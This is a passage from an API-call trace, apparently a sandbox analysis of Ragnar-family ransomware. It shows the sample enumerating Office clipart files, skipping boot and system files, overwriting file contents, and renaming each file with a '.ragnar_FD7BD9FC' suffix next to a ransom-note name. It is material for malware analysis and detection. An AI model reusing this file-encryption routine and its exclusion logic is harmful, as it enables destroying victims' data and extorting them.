lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.778] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=68792) returned 1 [0090.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10caf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.778] GetProcessHeap () returned 0x580000 [0090.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.778] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.782] VirtualAlloc (lpAddress=0x0, dwSize=0x10cb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10cb8, lpOverlapped=0x0) returned 1 [0090.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10cb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.784] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10cb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10cb8, lpOverlapped=0x0) returned 1 [0090.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10cb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.785] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10cb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.785] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.786] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.786] GetProcessHeap () returned 0x580000 [0090.786] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.786] CloseHandle (hObject=0xf4) returned 1 [0090.786] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" [0090.786] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ragnar_FD7BD9FC" [0090.786] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.788] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0090.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.788] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00305_.WMF" | out: lpString1="SO00305_.WMF") returned="SO00305_.WMF" [0090.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF") returned=".WMF" [0090.788] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.788] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="autorun.inf") returned 1 [0090.788] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="boot.ini") returned 1 [0090.788] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="bootfont.bin") returned 1 [0090.788] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="bootsect.bak") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="bootmgr") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="bootmgr.efi") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="desktop.ini") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="iconcache.db") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="ntldr") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="ntuser.dat") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="ntuser.ini") returned 1 [0090.789] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="thumbs.db") returned -1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.789] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf")) returned 0x20 [0090.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.790] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31236) returned 1 [0090.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x79fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.790] GetProcessHeap () returned 0x580000 [0090.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.790] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.792] VirtualAlloc (lpAddress=0x0, dwSize=0x7a04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.792] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7a04, lpOverlapped=0x0) returned 1 [0090.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.793] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a04, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.793] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7a04, lpOverlapped=0x0) returned 1 [0090.793] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.793] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.794] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.794] GetProcessHeap () returned 0x580000 [0090.794] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.794] CloseHandle (hObject=0xf4) returned 1 [0090.794] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" [0090.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ragnar_FD7BD9FC" [0090.794] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0090.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.795] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00333_.WMF" | out: lpString1="SO00333_.WMF") returned="SO00333_.WMF" [0090.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF") returned=".WMF" [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="autorun.inf") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="boot.ini") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="bootfont.bin") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="bootsect.bak") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="bootmgr") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="bootmgr.efi") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="desktop.ini") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="iconcache.db") returned 1 [0090.795] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="ntldr") returned 1 [0090.796] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="ntuser.dat") returned 1 [0090.796] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.796] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="ntuser.ini") returned 1 [0090.796] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="thumbs.db") returned -1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.796] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf")) returned 0x20 [0090.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.796] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=61002) returned 1 [0090.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xee41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.796] GetProcessHeap () returned 0x580000 [0090.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.797] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.798] VirtualAlloc (lpAddress=0x0, dwSize=0xee4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.798] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xee4a, lpOverlapped=0x0) returned 1 [0090.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xee4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.801] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xee4a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xee4a, lpOverlapped=0x0) returned 1 [0090.801] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xee4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.801] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xee4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.801] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.802] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.802] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.802] GetProcessHeap () returned 0x580000 [0090.802] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.802] CloseHandle (hObject=0xf4) returned 1 [0090.802] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" [0090.802] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ragnar_FD7BD9FC" [0090.802] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.803] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0090.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.803] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00345_.WMF" | out: lpString1="SO00345_.WMF") returned="SO00345_.WMF" [0090.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF") returned=".WMF" [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="autorun.inf") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="boot.ini") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="bootfont.bin") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="bootsect.bak") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="bootmgr") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="bootmgr.efi") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="desktop.ini") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="iconcache.db") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="ntldr") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="ntuser.dat") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="ntuser.ini") returned 1 [0090.803] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="thumbs.db") returned -1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.803] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf")) returned 0x20 [0090.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.804] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35734) returned 1 [0090.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.804] GetProcessHeap () returned 0x580000 [0090.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.804] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.805] 